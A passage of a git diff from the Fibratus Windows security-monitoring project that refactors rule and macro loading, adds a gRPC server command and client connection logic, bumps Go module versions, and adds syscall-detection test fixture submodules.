"github.com/rabbitstack/fibratus/pkg/rules" - "path/filepath" - "strings" ) type warning struct { @@ -46,50 +47,25 @@ func validateRules() error { return err } - isValidExt := func(path string) bool { - return filepath.Ext(path) == ".yml" || filepath.Ext(path) == ".yaml" - } - // load macros and rules - for _, m := range cfg.Filters.Macros.FromPaths { - paths, err := filepath.Glob(m) - if err != nil { - return err - } - for _, path := range paths { - if !isValidExt(path) { - continue - } - emo("%v Loading macros from %s\n", emoji.Hook, path) - } - } - if err := cfg.Filters.LoadMacros(); err != nil { - return fmt.Errorf("%v %v", emoji.DisappointedFace, err) - } + loader := rules.NewLoader() + rs, err := loader.Load( + context.Background(), + rules.WithRulePaths(cfg.Filters.Rules.FromPaths...), + rules.WithMacroPaths(cfg.Filters.Macros.FromPaths...), + ) - for _, r := range cfg.Filters.Rules.FromPaths { - paths, err := filepath.Glob(r) - if err != nil { - return err - } - for _, path := range paths { - if !isValidExt(path) { - continue - } - emo("%v Loading rule %s\n", emoji.Package, path) - } - } - if err := cfg.Filters.LoadFilters(); err != nil { + if err != nil { return fmt.Errorf("%v %v", emoji.DisappointedFace, err) } - if len(cfg.GetFilters()) == 0 { + if rs.IsEmpty() { return fmt.Errorf("%v no rules found in %s", emoji.DisappointedFace, strings.Join(cfg.Filters.Rules.FromPaths, ",")) } warnings := make([]warning, 0) // validate rules - for _, rule := range cfg.GetFilters() { - f := filter.New(rule.Condition, cfg) + for _, rule := range rs.Rules { + f := filter.New(rule.Condition, cfg, rs) err := f.Compile() if err != nil { return fmt.Errorf("%v %v", emoji.DisappointedFace, rules.ErrInvalidFilter(rule.Name, err)) diff --git a/cmd/server/main.go b/cmd/server/main.go new file mode 100644 index 000000000..fb7388169 --- /dev/null +++ b/cmd/server/main.go @@ -0,0 +1,75 @@ +/* + * Copyright 2019-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package main + +import ( + "os" + + "github.com/rabbitstack/fibratus/internal/server/grpc" + "github.com/rabbitstack/fibratus/pkg/config" + "github.com/rabbitstack/fibratus/pkg/util/log" + "github.com/spf13/cobra" +) + +var cmd = &cobra.Command{ + Use: "run", + Short: "Bootstrap fibratus server", + Aliases: []string{"start"}, + RunE: start, + Example: ` + # Run + fibratus-server run + `, +} + +var ( + cfg = config.NewWithOpts(config.WithRun()) +) + +func init() { + cfg.MustViperize(cmd) +} + +func main() { + if err := cmd.Execute(); err != nil { + os.Exit(-1) + } +} + +func start(cmd *cobra.Command, args []string) error { + err := cfg.TryLoadFile(cfg.File()) + notExists := os.IsNotExist(err) + if err != nil && !notExists { + return err + } + if err := cfg.Init(); err != nil { + return err + } + if err == nil { + if err := cfg.Validate(); err != nil { + return err + } + } + if err := log.InitFromConfig(cfg.Log, "fibratus-server.log"); err != nil { + return err + } + srv := grpc.NewServer() + srv.Run() + return nil +} diff --git a/cmd/server/server.exe b/cmd/server/server.exe new file mode 100644 index 000000000..3a9de9b87 Binary files /dev/null and b/cmd/server/server.exe differ diff --git a/configs/fibratus.yml b/configs/fibratus.yml index 573a7146b..0f47592e7 100644 --- a/configs/fibratus.yml +++ b/configs/fibratus.yml @@ -142,7 +142,6 @@ filters: # The list of file system paths were rule files are located. Supports glob expressions in path names. from-paths: # - C:\Program Files\Fibratus\Rules\*.yml - #from-urls: macros: # The list of file system paths were macro library files are located. Supports glob expressions in path names. from-paths: diff --git a/go.mod b/go.mod index 99cd017b4..504fd104f 100644 --- a/go.mod +++ b/go.mod @@ -35,8 +35,8 @@ require ( github.com/yuin/goldmark v1.5.2 go.mozilla.org/pkcs7 v0.0.0-20210826202110-33d05740a352 golang.org/x/arch v0.6.0 - golang.org/x/sys v0.31.0 - golang.org/x/text v0.23.0 + golang.org/x/sys v0.34.0 + golang.org/x/text v0.27.0 golang.org/x/time v0.3.0 gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df gopkg.in/natefinch/lumberjack.v2 v2.0.0 @@ -51,9 +51,12 @@ require ( github.com/secDre4mer/pkcs7 v0.0.0-20240322103146-665324a4461d // indirect go4.org/netipx v0.0.0-20220725152314-7e7bdc8411bf // indirect golang.org/x/exp/typeparams v0.0.0-20220218215828-6cf2b201936e // indirect - golang.org/x/mod v0.17.0 // indirect - golang.org/x/sync v0.12.0 // indirect - golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect + golang.org/x/mod v0.25.0 // indirect + golang.org/x/sync v0.16.0 // indirect + golang.org/x/tools v0.34.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20251022142026-3a174f9686a8 // indirect + google.golang.org/grpc v1.76.0 // indirect + google.golang.org/protobuf v1.36.10 // indirect honnef.co/go/tools v0.3.2 // indirect ) @@ -65,7 +68,7 @@ require ( github.com/edsrzf/mmap-go v1.1.0 // indirect github.com/fatih/color v1.7.0 // indirect github.com/fsnotify/fsnotify v1.4.7 // indirect - github.com/google/uuid v1.1.1 + github.com/google/uuid v1.6.0 github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.1 // indirect github.com/imdario/mergo v0.3.11 // indirect @@ -87,8 +90,8 @@ require ( github.com/subosito/gotenv v1.2.0 // indirect github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect - golang.org/x/crypto v0.36.0 // indirect - golang.org/x/net v0.38.0 // indirect + golang.org/x/crypto v0.40.0 // indirect + golang.org/x/net v0.42.0 // indirect gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc // indirect gopkg.in/ini.v1 v1.51.0 // indirect gopkg.in/yaml.v2 v2.3.0 // indirect diff --git a/go.sum b/go.sum index f541534a3..29bd3acb7 100644 --- a/go.sum +++ b/go.sum @@ -81,8 +81,11 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/uuid v1.1.1 h1:Gkbcsh/GbpXz7lPftLA3P6TYMwjCLYm83jiFQZF/3gY= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -272,6 +275,8 @@ golang.org/x/crypto v0.0.0-20200414173820-0848c9571904/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34= golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc= +golang.org/x/crypto v0.40.0 h1:r4x+VvoG5Fm+eJcxMaY8CQM7Lb0l1lsmjGBQ6s8BfKM= +golang.org/x/crypto v0.40.0/go.mod h1:Qr1vMER5WyS2dfPHAlsOj01wgLbsyWtFn/aY+5+ZdxY= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp/typeparams v0.0.0-20220218215828-6cf2b201936e h1:qyrTQ++p1afMkO4DPEeLGq/3oTsdlvdH4vqZUBWzUKM= golang.org/x/exp/typeparams v0.0.0-20220218215828-6cf2b201936e/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= @@ -281,6 +286,7 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -296,6 +302,8 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8= golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= +golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs= +golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -305,6 +313,8 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw= +golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -325,6 +335,8 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= +golang.org/x/sys v0.34.0 h1:H5Y5sJ2L2JRdyv7ROF1he/lPdvFsd0mJHFw2ThKHxLA= +golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -335,6 +347,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= +golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4= +golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -348,15 +362,24 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb h1:i1Ppqkc3WQXikh8bXiwHqAN5Rv3/qDCcRk0/Otx73BY= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto/googleapis/rpc v0.0.0-20251022142026-3a174f9686a8 h1:M1rk8KBnUsBDg1oPGHNCxG4vc1f49epmTO7xscSajMk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20251022142026-3a174f9686a8/go.mod h1:7i2o+ce6H/6BluujYR+kqX3GKH+dChPTQU19wjRPiGk= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.76.0 h1:UnVkv1+uMLYXoIz6o7chp59WfQUYA2ex/BXQ9rHZu7A= +google.golang.org/grpc v1.76.0/go.mod h1:Ju12QI8M6iQJtbcsV+awF5a4hfJMLi4X0JLo94ULZ6c= +google.golang.org/protobuf v1.36.10 h1:AYd7cD/uASjIL6Q9LiTjz8JLcrh/88q5UObnmY3aOOE= +google.golang.org/protobuf v1.36.10/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc h1:2gGKlE2+asNV9m7xrywl36YYNnBG5ZQ0r/BOOxqPpmk= gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk= diff --git a/internal/bootstrap/bootstrap.go b/internal/bootstrap/bootstrap.go index 5014b87d9..6713b56aa 100644 --- a/internal/bootstrap/bootstrap.go +++ b/internal/bootstrap/bootstrap.go @@ -21,17 +21,21 @@ package bootstrap import ( "context" "errors" + "os" + "github.com/rabbitstack/fibratus/internal/evasion" "github.com/rabbitstack/fibratus/pkg/aggregator" "github.com/rabbitstack/fibratus/pkg/alertsender" "github.com/rabbitstack/fibratus/pkg/api" "github.com/rabbitstack/fibratus/pkg/cap" + "github.com/rabbitstack/fibratus/pkg/client" "github.com/rabbitstack/fibratus/pkg/config" "github.com/rabbitstack/fibratus/pkg/filament" "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/handle" "github.com/rabbitstack/fibratus/pkg/ps" "github.com/rabbitstack/fibratus/pkg/rules" + "github.com/rabbitstack/fibratus/pkg/ruleset" "github.com/rabbitstack/fibratus/pkg/symbolize" "github.com/rabbitstack/fibratus/pkg/sys" "github.com/rabbitstack/fibratus/pkg/util/multierror" @@ -40,7 +44,6 @@ import ( "github.com/rabbitstack/fibratus/pkg/yara" log "github.com/sirupsen/logrus" "golang.org/x/sys/windows" - "os" ) // ErrAlreadyRunning signals a Fibratus process is already running in the system @@ -55,6 +58,7 @@ type App struct { evs *EventSourceControl symbolizer *symbolize.Symbolizer engine *rules.Engine + loader *rules.Loader hsnap handle.Snapshotter psnap ps.Snapshotter filament filament.Filament @@ -62,6 +66,11 @@ type App struct { writer cap.Writer reader cap.Reader signals chan struct{} + // client is responsible for communication with the server + client client.Client + + ctx context.Context + cancel context.CancelFunc } // Option enables changing the behaviour of the bootstrap application. @@ -136,29 +145,8 @@ func NewApp(cfg *config.Config, options ...Option) (*App, error) { hsnap := handle.NewSnapshotter(cfg, opts.handleSnapshotFn) psnap := ps.NewSnapshotter(hsnap, cfg) - var engine *rules.Engine - var rs *config.RulesCompileResult - - if cfg.Filters.Rules.Enabled && !cfg.ForwardMode && !cfg.IsCaptureSet() && !cfg.IsFilamentSet() { - engine = rules.NewEngine(psnap, cfg) - var err error - rs, err = engine.Compile() - if err != nil { - return nil, err - } - if rs != nil { - log.Infof("rules compile summary: %s", rs) - } - } else { - log.Info("rule engine is disabled") - } - - evs := NewEventSourceControl(psnap, hsnap, cfg, rs) - app := &App{ config: cfg, - evs: evs, - engine: engine, hsnap: hsnap, psnap: psnap, signals: sigs, @@ -172,10 +160,10 @@ func NewApp(cfg *config.Config, options ...Option) (*App, error) { // spin up a filament or set up the aggregator to start forwarding events // to the rule engine and output sinks. func (f *App) Run(args []string) error { - if f.evs == nil { - panic("event source is nil") - } cfg := f.config + f.ctx, f.cancel = context.WithCancel(context.Background()) + signals.SetCancelFunc(f.cancel) + defer f.cancel() if !f.isSingleInstance() { return ErrAlreadyRunning @@ -184,6 +172,56 @@ func (f *App) Run(args []string) error { log.Infof("bootstrapping with pid %d. Version: %s", os.Getpid(), version.Get()) log.Infof("configuration options: %s", cfg.Print()) + if cfg.Server.Enabled && !f.config.IsCaptureSet() && !f.config.IsFilamentSet() { + // try to establish the connection to the server + var err error + log.Infof("connecting to the server...") + f.client, err = client.New() + if err != nil { + return err + } + } + + var rcr *ruleset.CompileResult + + if f.isEngineEnabled() { + var opts []rules.LoaderOption + + if cfg.Server.Enabled { + opts = append(opts, rules.WithRemoteStore()) + } else { + opts = append( + opts, + rules.WithRulePaths(cfg.Filters.Rules.FromPaths...), + rules.WithMacroPaths(cfg.Filters.Macros.FromPaths...), + ) + } + + // configure the loader to load local or remote rules + if f.client != nil { + f.loader = rules.NewLoaderWithClient(f.client) + } else { + f.loader = rules.NewLoader() + } + rs, err := f.loader.Load(f.ctx, opts...) + if err != nil { + return err + } + // build the rule engine and compile rules + f.engine = rules.NewEngine(f.psnap, cfg) + rcr, err = f.engine.Compile(rs) + if err != nil { + return err + } + if rcr != nil { + log.Infof("rules compile summary: %s", rcr) + } + // register rule engine subscriber + f.loader.RegisterSubscriber(f.engine) + } + + f.evs = NewEventSourceControl(f.psnap, f.hsnap, cfg, rcr) + // build the filter from the CLI argument. If we got // a valid expression the filter is attached to the // event consumer @@ -250,6 +288,7 @@ func (f *App) Run(args []string) error { } f.evs.RegisterEventListener(scanner) } + err = f.evs.Open(cfg) if err != nil { return multierror.Wrap(err, f.evs.Close()) @@ -273,9 +312,7 @@ func (f *App) Run(args []string) error { // WriteCapture writes the event stream to the capture file. func (f *App) WriteCapture(args []string) error { - if f.evs == nil { - panic("event source is nil") - } + f.evs = NewEventSourceControl(f.psnap, f.hsnap, f.config, nil) if !f.isSingleInstance() { return ErrAlreadyRunning @@ -429,6 +466,11 @@ func (f *App) stop() { } } +// isEngineEnabled determines if the rule engine is enabled. +func (f *App) isEngineEnabled() bool { + return f.config.Filters.Rules.Enabled && !f.config.ForwardMode && !f.config.IsCaptureSet() && !f.config.IsFilamentSet() +} + // isSingleInstance checks if there is a single instance // of the Fibratus process running in the system. This is // accomplished by creating a global event object. If such diff --git a/internal/bootstrap/source.go b/internal/bootstrap/source.go index 683ee22f9..5a5967796 100644 --- a/internal/bootstrap/source.go +++ b/internal/bootstrap/source.go @@ -25,6 +25,7 @@ import ( "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/handle" "github.com/rabbitstack/fibratus/pkg/ps" + "github.com/rabbitstack/fibratus/pkg/ruleset" "github.com/rabbitstack/fibratus/pkg/source" ) @@ -44,9 +45,9 @@ func NewEventSourceControl( psnap ps.Snapshotter, hsnap handle.Snapshotter, config *config.Config, - compiler *config.RulesCompileResult, + rcr *ruleset.CompileResult, ) *EventSourceControl { - return &EventSourceControl{evs: etw.NewEventSource(psnap, hsnap, config, compiler)} + return &EventSourceControl{evs: etw.NewEventSource(psnap, hsnap, config, rcr)} } func (s *EventSourceControl) Open(config *config.Config) error { diff --git a/internal/etw/_fixtures/direct-syscall/SysWhispers3 b/internal/etw/_fixtures/direct-syscall/SysWhispers3 new file mode 160000 index 000000000..31cfc93c9 --- /dev/null +++ b/internal/etw/_fixtures/direct-syscall/SysWhispers3 @@ -0,0 +1 @@ +Subproject commit 31cfc93c9466b52ae79d60925b0b5e0a1f653b88 diff --git a/internal/etw/_fixtures/indirect-syscall/SysWhispers3 b/internal/etw/_fixtures/indirect-syscall/SysWhispers3 new file mode 160000 index 000000000..31cfc93c9 --- /dev/null +++ b/internal/etw/_fixtures/indirect-syscall/SysWhispers3 @@ -0,0 +1 @@ +Subproject commit 31cfc93c9466b52ae79d60925b0b5e0a1f653b88 diff --git a/internal/etw/source.go b/internal/etw/source.go index 347b99160..cb6b2cea5 100644 --- a/internal/etw/source.go +++ b/internal/etw/source.go @@ -22,6 +22,9 @@ import ( "errors" "expvar" "fmt" + "time" + "unsafe" + "github.com/rabbitstack/fibratus/internal/etw/processors" "github.com/rabbitstack/fibratus/pkg/config" errs "github.com/rabbitstack/fibratus/pkg/errors" @@ -29,13 +32,12 @@ import ( "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/handle" "github.com/rabbitstack/fibratus/pkg/ps" + "github.com/rabbitstack/fibratus/pkg/ruleset" "github.com/rabbitstack/fibratus/pkg/source" "github.com/rabbitstack/fibratus/pkg/sys/etw" "github.com/rabbitstack/fibratus/pkg/util/multierror" log "github.com/sirupsen/logrus" "golang.org/x/sys/windows/registry" - "time" - "unsafe" ) const ( @@ -71,7 +73,7 @@ var ( // starting ETW tracing sessions and setting up event // consumers. type EventSource struct { - r *config.RulesCompileResult + rcr *ruleset.CompileResult traces []*Trace consumers []*Consumer processors processors.Chain @@ -96,10 +98,10 @@ func NewEventSource( psnap ps.Snapshotter, hsnap handle.Snapshotter, config *config.Config, - compiler *config.RulesCompileResult, + rcr *ruleset.CompileResult, ) source.EventSource { evs := &EventSource{ - r: compiler, + rcr: rcr, traces: make([]*Trace, 0), consumers: make([]*Consumer, 0), processors: processors.NewChain(psnap, hsnap, config), @@ -127,17 +129,17 @@ func (e *EventSource) Open(config *config.Config) error { // used by the rules, but thread events are // disabled in the config, then thread events // are not captured - if e.r != nil { - config.EventSource.EnableThreadEvents = config.EventSource.EnableThreadEvents && e.r.HasThreadEvents - config.EventSource.EnableImageEvents = config.EventSource.EnableImageEvents && e.r.HasImageEvents - config.EventSource.EnableNetEvents = config.EventSource.EnableNetEvents && e.r.HasNetworkEvents - config.EventSource.EnableRegistryEvents = config.EventSource.EnableRegistryEvents && (e.r.HasRegistryEvents || (config.Yara.Enabled && !config.Yara.SkipRegistry)) - config.EventSource.EnableFileIOEvents = config.EventSource.EnableFileIOEvents && (e.r.HasFileEvents || (config.Yara.Enabled && !config.Yara.SkipFiles)) - config.EventSource.EnableVAMapEvents = config.EventSource.EnableVAMapEvents && (e.r.HasVAMapEvents || (config.Yara.Enabled && !config.Yara.SkipMmaps)) - config.EventSource.EnableMemEvents = config.EventSource.EnableMemEvents && (e.r.HasMemEvents || (config.Yara.Enabled && !config.Yara.SkipAllocs)) - config.EventSource.EnableDNSEvents = config.EventSource.EnableDNSEvents && e.r.HasDNSEvents - config.EventSource.EnableAuditAPIEvents = config.EventSource.EnableAuditAPIEvents && e.r.HasAuditAPIEvents - config.EventSource.EnableThreadpoolEvents = config.EventSource.EnableThreadpoolEvents && e.r.HasThreadpoolEvents + if e.rcr != nil { + config.EventSource.EnableThreadEvents = config.EventSource.EnableThreadEvents && e.rcr.HasThreadEvents + config.EventSource.EnableImageEvents = config.EventSource.EnableImageEvents && e.rcr.HasImageEvents + config.EventSource.EnableNetEvents = config.EventSource.EnableNetEvents && e.rcr.HasNetworkEvents + config.EventSource.EnableRegistryEvents = config.EventSource.EnableRegistryEvents && (e.rcr.HasRegistryEvents || (config.Yara.Enabled && !config.Yara.SkipRegistry)) + config.EventSource.EnableFileIOEvents = config.EventSource.EnableFileIOEvents && (e.rcr.HasFileEvents || (config.Yara.Enabled && !config.Yara.SkipFiles)) + config.EventSource.EnableVAMapEvents = config.EventSource.EnableVAMapEvents && (e.rcr.HasVAMapEvents || (config.Yara.Enabled && !config.Yara.SkipMmaps)) + config.EventSource.EnableMemEvents = config.EventSource.EnableMemEvents && (e.rcr.HasMemEvents || (config.Yara.Enabled && !config.Yara.SkipAllocs)) + config.EventSource.EnableDNSEvents = config.EventSource.EnableDNSEvents && e.rcr.HasDNSEvents + config.EventSource.EnableAuditAPIEvents = config.EventSource.EnableAuditAPIEvents && e.rcr.HasAuditAPIEvents + config.EventSource.EnableThreadpoolEvents = config.EventSource.EnableThreadpoolEvents && e.rcr.HasThreadpoolEvents for _, typ := range event.All() { if typ == event.CreateProcess || typ == event.TerminateProcess || typ == event.LoadImage || typ == event.UnloadImage { @@ -159,7 +161,7 @@ func (e *EventSource) Open(config *config.Config) error { continue } - if 